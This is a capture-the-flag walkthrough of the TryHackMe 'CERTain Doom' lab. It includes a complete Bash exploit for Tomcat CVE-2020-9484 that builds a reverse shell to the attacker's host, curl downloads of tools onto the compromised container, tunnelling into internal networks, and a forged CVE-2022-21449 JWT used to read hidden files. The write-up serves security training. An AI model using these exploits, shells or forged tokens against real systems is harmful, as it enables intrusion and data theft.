Introduction
Detailed walkthroughs for CERTain Doom CTF challenges on TryHackMe .
$ echo "10.10.81.254 certain-doom.thm" >> /etc/hosts
Mappped the ip to domain certain-doom.thm
.
Questions
1. What is the web flag? Hint:Today's lucky number is 11
2. What is the user's flag?
3. What is the super secret flag? Hint: supersonic subatomic
Initial Foothold
Rustscan
$ rustscan -a certain-doom.thm -- -sV -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
[~] The config file is expected to be at "/root/.rustscan.toml"
Open 10.10.81.254:22
Open 10.10.81.254:80
Open 10.10.81.254:8080
[~] Starting Script(s)
Scanned at 2024-09-14 08:29:53 IST for 157s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:69:84:5c:69:01:42:2d:da:01:3e:13:a6:db:2f:c3 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI9RmMphpZ0uukrNxPj8ojeRdQF3nTPgufa6bqShoWI9Sfs78koCvg+oYL2dz+o+JU34j7kbNnzqrlkvG2piLgjGa/nzZbUVpiAk85TGSrltb2H9p6ORqTXmgnFNitwynoz8tI0XqIBxuQm801hEYBOYFdEqRp8pPLkbDI8gDUJCtk8Ta+v189AXvIBragn4jPcXS7wbX61csUr7jGjneln9hybY4GC/cmHMIF2sYCzHbDuwl7bC4QVf8Qd1DNknR0f7pPGillIa76d4c+10pF83kv4QjZf3WRdytNo6psqg9VH2Kz6AWpPn9z6aWTanONQzl3HdP8mzBzsUA76ZPh/IgNQDrCJTmM9SX4z2n60+aqlPo6PjvM8XxSu/XvPsvzpL+CABmz+k2ziCmd+nQ0tJrpIwUFTpb/82ZbGSDtFNNm35vsL++R5yHodU0jvb0Yq8blpUu4vh7Pzuiryk2H7HgjYcj1FmPwGvv+HpdY+uPQwuIA9xe2bnxZ8BW7LKE=
| 256 cc:55:d5:72:1d:be:03:85:d5:7e:3e:1a:d6:72:2c:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLig4AYdXAxFRwdUHHUtXGkdr3GFGGM83WssnCjyrU1deeFT1BDuit5NI+7nEqVl0BeSSU3LRpHeLpSIYiugxC0=
| 256 08:34:3b:e0:5d:d1:37:d4:68:28:6b:cf:e2:f1:53:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINFfDent94JxaXvMValeP9zIhJO8/mj/WFtHqGkUsv4X
80/tcp open http syn-ack ttl 59 hastatic-1.0.0
|_http-server-header: hastatic-1.0.0
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Length: 117674
| Accept-Ranges: bytes
| Date: Sat, 14 Sep 2024 03:00:00 GMT
| Server: hastatic-1.0.0
| Content-Type: text/html
| Cache-Control: no-transform,public,max-age=300,s-maxage=900
| Last-Modified: Thu, 26-Jan-2023 22:44:29 UTC
| ETag: 98eb1c6fb079742e0b8682cb642c5c777329ebbe
| Vary: Accept-Encoding
| Referrer-Policy: strict-origin-when-cross-origin
| X-Frame-Options: SAMEORIGIN
| X-XSS-Protection: 1; mode=block
| <!doctype html>
| <html class="no-js" lang="">
| <head>
| <meta charset="utf-8">
| <title>Super Secret Admin Page</title>
| <meta name="description" content="">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta property="og:title" content="Hydra's Super Secret Admin Page">
| <meta property="og:type" content="website">
| <meta property="og:url" content="https://admin.certain-doom.thm">
|_ <meta property="og:image" content="">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Super Secret Admin Page
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
8080/tcp open http-proxy syn-ack ttl 59 Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found
|_http-server-header: Apache Tomcat 9?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 431
| Date: Sat, 14 Sep 2024 03:00:00 GMT
| Connection: close
| Server: Apache Tomcat 9?
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1></body></html>
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sat, 14 Sep 2024 03:00:00 GMT
| Connection: close
| Server: Apache Tomcat 9?
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 158.30 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (172B)
We got 3 active ports: 22
, 80
and 8080
.
404 error
on port 8080.
Path Discovery by fuzzing
ffuf -c -u http://certain-doom.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt -fs 1054
________________________________________________
.htaccess [Status: 200, Size: 50504, Words: 11960, Lines: 1226, Duration: 195ms]
favicon.ico [Status: 200, Size: 766, Words: 8, Lines: 2, Duration: 156ms]
robots.txt [Status: 200, Size: 78, Words: 8, Lines: 6, Duration: 191ms]
No useful results found here.
ffuf -c -u http://certain-doom.thm:8080/FUZZ -w /usr/share/wordlists/dirb/big.txt
________________________________________________
reports [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 156ms]
ffuf -c -u http://certain-doom.thm:8080/reports/FUZZ -w /usr/share/wordlists/dirb/big.txt
________________________________________________
css [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4827ms]
upload [Status: 405, Size: 449, Words: 34, Lines: 1, Duration: 342ms]
Found an interesting result /reports/
.
8080:reports/
/reports/
page which in port 8080.
file's destination path
after upload.
CVE-2020-9484
#!/bin/bash
# Exploit Title: Apache Tomcat RCE by deserialization
# CVE-ID: CVE-2020-9484
# Tested on: Kali Linux
# Remote Code Execution by Deserialization
# your attacker IP, set to your own IP address
if [ "$#" -ne 3 ]; then
echo "#Usage: ./CVE-2020-9484 <target_ip> <local_ip> <local_port> "
exit 1
fi
# optional:
target_ip="$1"
target_port=8080
remote_ip="$2"
port="$3"
if [ -z "$1" ] || [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
echo ""
echo "$(tput setaf 3;tput bold)usage: ./CVE-2020-9484.sh target-ip"
echo ""
echo "$(tput setaf 4;tput bold)Please start a web listener in /tmp folder:"
echo "$(tput setaf 3;tput bold)python3 -m http.server 80"
echo ""
echo "$(tput setaf 4;tput bold)and start your netcat listener at port 4444:"
echo "$(tput setaf 3;tput bold)nc -nvlp 4444"
exit
fi
# look for ysoserial file on your attacker system
# check out install.txt file for instructions how to install ysoserial
find_ysoserial_on_system(){
echo "$(tput setaf 6;tput bold)[+] Checking if you have installed ysoserial.."
sleep 1
ysoserial_file=$(find / -name "ysoserial-master.jar" -type f 2>/dev/null)
if [ -z "$ysoserial_file" ]; then
echo "$(tput setaf 1;tput bold)You need ysoserial-master.jar in order to use this script!"
echo "$(tput setaf 1;tput bold)Please make sure to follow the install.txt guide!"
echo "$(tput setaf 1;tput bold)Quitting.."
exit
fi
echo "$(tput setaf 5;tput bold)[+] Found ysoserial-master.jar!"
}
# creating payload files using ysoserial
create_payload_files(){
echo "$(tput setaf 6;tput bold)[+] Trying to create payload files.."
sleep 1
echo "$(tput setaf 6;tput bold)[+] Creating payload.sh file.."
rm -rf payload.sh
echo "#!/usr/bin/bash" >> payload.sh
echo "bash -c 'bash -i >& /dev/tcp/$remote_ip/$port 0>&1'" >> payload.sh
sleep 1
echo "$(tput setaf 5;tput bold)[+] Finished!"
echo "$(tput setaf 6;tput bold)[+] Trying to create first ysoserial payload file"
sleep 1
java -jar $ysoserial_file CommonsCollections2 "curl http://$remote_ip/payload.sh -o /tmp/payload.sh" > downloadPayload.session
echo "$(tput setaf 5;tput bold)[+] Finished!"
echo "$(tput setaf 6;tput bold)[+] Trying to create second ysoserial payload file"
sleep 1
java -jar $ysoserial_file CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session
echo "$(tput setaf 5;tput bold)[+] Finished!"
echo "$(tput setaf 6;tput bold)[+] Trying to create last ysoserial payload file"
sleep 1
java -jar $ysoserial_file CommonsCollections2 "bash /tmp/payload.sh" > executePayload.session
echo "$(tput setaf 5;tput bold)[+] Finished!"
echo trying to create getting file
sleep 1
echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
echo "$(tput setaf 4;tput bold)[+] Succesfully created all files!"
echo "$(tput setaf 2;tput bold)----------------------------------------------------------------"
sleep 1
}
#get a reverse shell
get_reverse_shell(){
echo "[+] Trying to get a reverse shell.."
echo "[+] Make sure to have netcat and python weblistener in current folder running.."
curl http://$target_ip:$target_port/reports/upload -F 'file=@downloadPayload.session'
sleep 1
curl http://$target_ip:$target_port/reports/ -H 'Cookie: JSESSIONID=../../../../../../../../../../../../../../../../usr/local/tomcat/temp/uploads/downloadPayload'
sleep 1
curl http://$target_ip:$target_port/reports/upload -F 'file=@chmodPayload.session'
curl http://$target_ip:$target_port/reports/upload -H 'Cookie:JSESSIONID=../../../../../../../../../../../usr/local/tomcat/temp/uploads/chmodPayload'
sleep 1
curl http://$target_ip:$target_port/reports/upload -F 'file=@executePayload.session'
curl http://$target_ip:$target_port/reports/upload -H 'Cookie:JSESSIONID=../../../../../../../../../../../usr/local/tomcat/temp/uploads/executePayload'
echo ""
echo "$(tput setaf 5;tput bold)[+] Finished!"
echo ""
echo "$(tput setaf 4;tput bold)[+] If you don't have a reverse shell, try to run it again!"
}
# start RCE exploit
find_ysoserial_on_system
create_payload_files
get_reverse_shell
The provided Bash script is a modified version of PenTestical’s CVE-2020-9484 exploit , designed to function effectively with our specific target.
sudo apt-get install openjdk-11-jdk
sudo update-alternatives --config java
This code snippet is used to install Java 11 on Ubuntu-based systems and configure it as the default Java environment.
$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.11.11] from (UNKNOWN) [10.10.50.246] 50344
bash: no job control in this shell
bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root)
We obtained a root shell here.
bash-4.2# cat /usr/local/tomcat/.flag
cat /usr/local/tomcat/.flag
THM{FLAG_1_REDACTED}
We found our first hidden flag.
Penetrating Internal Network
Better shell
python -c 'import pty; pty.spawn("/bin/bash")'
^Z #(Ctrl+Z)
stty raw -echo && fg
export TERM=xterm
Got better shell by running the above commands.
bash-4.2# curl http://10.10.11.11/linpeas.sh > linpeas.sh
bash-4.2# chmod +x linpeas.sh
bash-4.2# ./linpeas.sh
Linpeas.sh uncovered potentially risky entries in the /etc/hosts file. We are inside docker container.
/etc/hosts
bash-4.2# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4 2c5b93ea49de
172.18.0.3 2c5b93ea49de
Two IP addresses, 172.20.0.4
and 172.18.0.3
, were found in the /etc/hosts file. These addresses likely indicate a connection to the internal network.
nmap
A pre-compiled network scanner (static nmap) was retrieved and transferred to the target system for further analysis.
curl http://10.10.11.11/nmap -o /tmp/nmap
chmod +x /tmp/nmap
Downloading and making a standalone network scanner executable for discreet reconnaissance
First Network
bash-4.2# /tmp/nmap -sn 172.20.0.4/16
Starting Nmap 6.49BETA1 ( http://nmap.org )
Stats: 0:00:08 elapsed; 0 hosts completed (0 up), 4096 undergoing ARP Ping Scan
Nmap scan report for ip-172-20-0-1.eu-west-1.compute.internal (172.20.0.1)
Host is up (0.000051s latency).
MAC Address: 02:42:4A:AF:77:20 (Unknown)
Nmap scan report for cert_library_1.cert_cert-internal (172.20.0.2)
Host is up (0.000014s latency).
MAC Address: 02:42:AC:14:00:02 (Unknown)
Nmap scan report for cert_library-back_1.cert_cert-internal (172.20.0.3)
Host is up (0.000052s latency).
MAC Address: 02:42:AC:14:00:03 (Unknown)
Nmap scan report for 2c5b93ea49de (172.20.0.4)
Host is up.
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.1
Nmap scan report for ip-172-20-0-1.eu-west-1.compute.internal (172.20.0.1)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open webcache
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org )
Nmap scan report for cert_library_1.cert_cert-internal (172.20.0.2)
PORT STATE SERVICE
80/tcp open http
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.3
Starting Nmap 6.49BETA1 ( http://nmap.org )
Nmap scan report for cert_library-back_1.cert_cert-internal (172.20.0.3)
PORT STATE SERVICE
8080/tcp open webcache
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.20.0.4
Nmap scan report for 2c5b93ea49de (172.20.0.4)
PORT STATE SERVICE
8080/tcp open webcache
The IP addresses 172.20.0.2
and 172.20.0.3
were identified as potential points of interest within the internal network.
Second Network.
bash-4.2# /tmp/nmap -sn 172.18.0.3/16
Nmap scan report for ip-172-18-0-1.eu-west-1.compute.internal (172.18.0.1)
Host is up (0.000031s latency).
MAC Address: 02:42:11:FA:35:62 (Unknown)
Nmap scan report for cert_admin_1.cert_cert-frontend (172.18.0.2)
Host is up (0.000035s latency).
MAC Address: 02:42:AC:12:00:02 (Unknown)
Nmap scan report for 2c5b93ea49de (172.18.0.3)
Host is up.
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.1
Nmap scan report for ip-172-18-0-1.eu-west-1.compute.internal (172.18.0.1)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open webcache
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.2
Nmap scan report for cert_admin_1.cert_cert-frontend (172.18.0.2)
PORT STATE SERVICE
3000/tcp open hbci
bash-4.2# /tmp/nmap -p- --min-rate 5000 172.18.0.3
Nmap scan report for 2c5b93ea49de (172.18.0.3)
PORT STATE SERVICE
8080/tcp open webcache
Here interesting ip is 172.18.0.2
.
Let’s dive into the 172.20.0.*
network!
ligolo-ng tunneling
Implementing a secure tunneling solution with Ligolo-NG . Acquiring the necessary agent and proxy components.
# Add a tun interface named "ligolo"
sudo ip tuntap add user kali mode tun ligolo
# Set the interface up
sudo ip link set ligolo up
# Add a static route to 240.0.0.1 via the ligolo interface
sudo ip route add 240.0.0.1 dev ligolo
# Add a static route for the 172.18.0.0/16 network via the ligolo interface
sudo ip route add 172.18.0.0/16 dev ligolo
# Add a static route for the 172.20.0.0/16 network via the ligolo interface
sudo ip route add 172.20.0.0/16 dev ligolo
Established a new route.
./proxy -selfcert
Initiating the listener on the attacker’s machine.
curl http://10.10.11.11:8000/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect 10.10.11.11:11601 -ignore-cert
Launching the agent.

Agent successfully established a connection with the proxy.
library

Let’s use Burp Suite to analyze the requests and responses of a web page.
403 CORS
error due to an invalid origin
. The expected host library-back
should be mapped to 172.20.0.3
, while library
should be mapped to 172.20.0.2
.
echo "172.20.0.2 library" >> /etc/hosts
echo "172.20.0.3 library-back" >> /etc/hosts
Successfully added the host mappings.
401 Unauthorized
response. Let’s attempt to access the resource at http://library/
directly from the web browser.
401 Unauthorized
error when trying to sign in.
Lets fuzz this.
$ ffuf -c -u http://library/FUZZ -w /usr/share/wordlists/dirb/big.txt
robots.txt [Status: 200, Size: 64, Words: 3, Lines: 3, Duration: 524ms]
sitemap.xml [Status: 200, Size: 152, Words: 4, Lines: 4, Duration: 361ms]
$ ffuf -c -u http://library-back:8080/FUZZ -w /usr/share/wordlists/dirb/big.txt
documents [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 209ms]
Let’s examine the sitemap and robots.txt files.
$ curl http://library/robots.txt
Disallow:
Sitemap: https://myapp.local/sitemap.xml
$ curl http://library/sitemap.xml
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url><loc>https://myapp.local/</loc></url>
</urlset>
The previous analysis did not yield any significant findings.

Using the credentials bob
for username and password, we successfully logged in. A cookie named credz
was set upon login. Let’s attempt to utilize this cookie in our request to http://learn-back:8080/documents
.
curl -X POST -d "j_username=bob&j_password=bob" http://library-back:8080/j_security_check -i
Upon successful login, a cookie will be set in the response.
JavaScript scripts
for its functionality. Let’s delve into these scripts using the developer tools in Firefox.
http://library-back:8080/documents/download/filename
. Let’s employ the curl command to retrieve the necessary files.
curl "http://library-back:8080/documents/download/flagz.docx" -H "Cookie: credz=$cookie" -o flagz.docx
The following command successfully downloads the flagz.docx file using the provided cookie.
$ curl "http://library-back:8080/documents?Hidden=true" -H "Cookie: credz=$cookie" | jq
[
{
"id": "64d35510774649ab3562697f",
"name": "Todo",
"author": "bob",
"filename": "todo.md",
"hidden": true,
"created": "2022-05-02T13:31:13.495",
"modified": "2023-08-04T08:27:44.168"
},
{
"id": "64d35510774649ab35626980",
"name": "Chat Logs",
"author": "bob",
"filename": "chat.log",
"hidden": true,
"created": "2023-08-09T09:02:13.028",
"modified": "2023-08-09T09:02:13.028"
}
]
Two potentially valuable files have been identified: todo.md
and chat.log
. These filenames suggest they may contain sensitive information.
curl "http://library-back:8080/documents/download/todo.md" -H "Cookie: credz=$cookie" -o todo.md
curl "http://library-back:8080/documents/download/chat.log" -H "Cookie: credz=$cookie" -o chat.log
Having successfully downloaded the files, let’s examine their contents.
$ cat todo.md && echo && echo ============*****============ && cat chat.log
# Bob's Todo List
* [ ] Fix CVE-2020-9484 on Reports
* [x] Get next month's pentesting schedule ready
* [ ] Talk to the SOC about brute force detection
* [ ] Fix authentication issues in the docs library
* [x] Don't show hidden files for users who aren't logged in
* [x] Check for SQL injection in the library backend
# Notes:
- All good for client X's pentest!
- Shouldn't be any SQL injection now, we're using a proper framework.
============*****============
[2023-08-08 18:53] Bob: Hey do you have the specs for the tokens?
[2023-08-08 18:53] Hydra: It's a standard JWT, no?
[2023-08-08 18:54] Bob: Yeah, but what claims should we use?
[2023-08-08 18:54] Hydra: Just use the standard framework auth.
[2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java.
[2023-08-08 18:56] Bob: I'll get on that soon; we're just an internal service anyways, the firewall'll protect us.
[2023-08-08 18:57] Hydra: Can't always rely on that, Bob. Best be as secure as we can internally as well.
[2023-08-08 18:58] Bob: Right, before I forget, here's the flag for next week's security conf: THM{FLAG_2_REDACTED}
Final Flag
Based on the discovered data and the provided hint supersonic subatomic
, let’s begin enumerating potential vulnerabilities. Our analysis of the chat and todo list has identified the following issues:
- CVE-2020-9484: A known vulnerability.
- Brute force detection: A potential security concern.
Authentication issues
: Problems with the documentation library.JWT vulnerability
: The use of JWT with an unpatched or outdated Java implementation poses a risk.
CVE-2022-21449

Here are some noteworthy findings related to CVE-2022-21449 from online research.
- QUARKUS | security-jwt
- PortSwigger | JWT
- CVE-2022-21449: Psychic Signatures in Java - Neil Madden
- NaInSec/CVE-PoC-in-GitHub/CVE-2022-21449
- davwwwx/CVE-2022-21449
- security-labs-pocs/proof-of-concept-exploits/jwt-null-signature-vulnerable-app
- Mateusz Rędzia | exploiting-jwt-token-vulnerability-in-hackthebox-scenario
- JWT.IO
CVE-2022-21449: The “Psychic Signatures” Vulnerability
CVE-2022-21449 refers to a critical vulnerability in Java’s implementation of elliptic curve cryptography (ECC) that affects the ECDSA (Elliptic Curve Digital Signature Algorithm) signature verification. This flaw allows an attacker to bypass authentication and signature verification checks by exploiting improperly implemented elliptic curve signatures, often referred to as “psychic signatures.” The vulnerability impacts Oracle’s Java SE versions 7, 8, 11, and 17 and is rated with a high CVSS score due to its potential to compromise secure communications.
import java.security.*;
// Generate a key pair using the Elliptic Curve algorithm
var keys = KeyPairGenerator.getInstance("EC").generateKeyPair();
// Create a blank signature byte array of size 64
var blankSignature = new byte[64];
// Get a Signature instance for SHA-256 with ECDSA in P1363 format
var sig = Signature.getInstance("SHA256WithECDSAInP1363Format");
// Initialize the Signature object for verification with the public key
sig.initVerify(keys.getPublic());
// Update the Signature object with the data to verify
sig.update("Hello, World".getBytes());
// Verify the signature using the blank signature
sig.verify(blankSignature);
This code generates an Elliptic Curve key pair, prepares to verify a signature for the message “Hello, World” using a blank signature, and initializes the signature verification process. sig.verify(blankSignature)
will return true
in vulnerable (before Java CPU patch) version.
$ echo -ne "MAYCAQACAQA" | base64 -d | openssl asn1parse -inform der
0:d=0 hl=2 l= 6 cons: SEQUENCE
2:d=1 hl=2 l= 1 prim: INTEGER :00
5:d=1 hl=2 l= 1 prim: INTEGER :00
The above result indicates that the decoded data is an ASN.1 SEQUENCE containing two INTEGER values, both of which are 00
.
Cracking the JWT token’s algorithm is a complex challenge. We may need to experiment with various approaches to obtain a valid token.
import json, base64
header = {"alg": "ES256", "typ": "JWT"}
payload = {"sub": "hydra", "groups": ["user"]}
def encode(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',', ':')).encode()).decode().rstrip('=')
token = f'{encode(header)}.{encode(payload)}.MAYCAQACAQA'
print(token)
The provided code will generate a valid JWT token for authorization, with the claims sub
and groups
.
$ curl http://library-back:8080/documents?hidden=true -H "Authorization: Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA" | jq
[
{
"id": "64d35510774649ab35626981",
"name": "Specifications for Document Library",
"author": "hydra",
"filename": "specs.pdf",
"hidden": true,
"created": "2022-10-25T17:30:24.34",
"modified": "2023-10-25T17:30:24.34"
}
]
Having successfully authenticated as the user hydra
, we discovered a hidden file.
curl http://library-back:8080/documents/download/specs.pdf -H "Authorization: Bearer eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA" -o specs.pdf
The hidden file was successfully downloaded and saved as specs.pdf
.
specs.pdf
file using a PDF reader, we discovered another misleading clue.
$ pdftotext specs.pdf specs.txt
$ rg -o THM specs.txt
163:THM{FLAG}
177:THM{FALSE_FLAG}
The final flag was successfully obtained by executing the specified commands.
We solved the lab.
Happy Hacking !!! 😎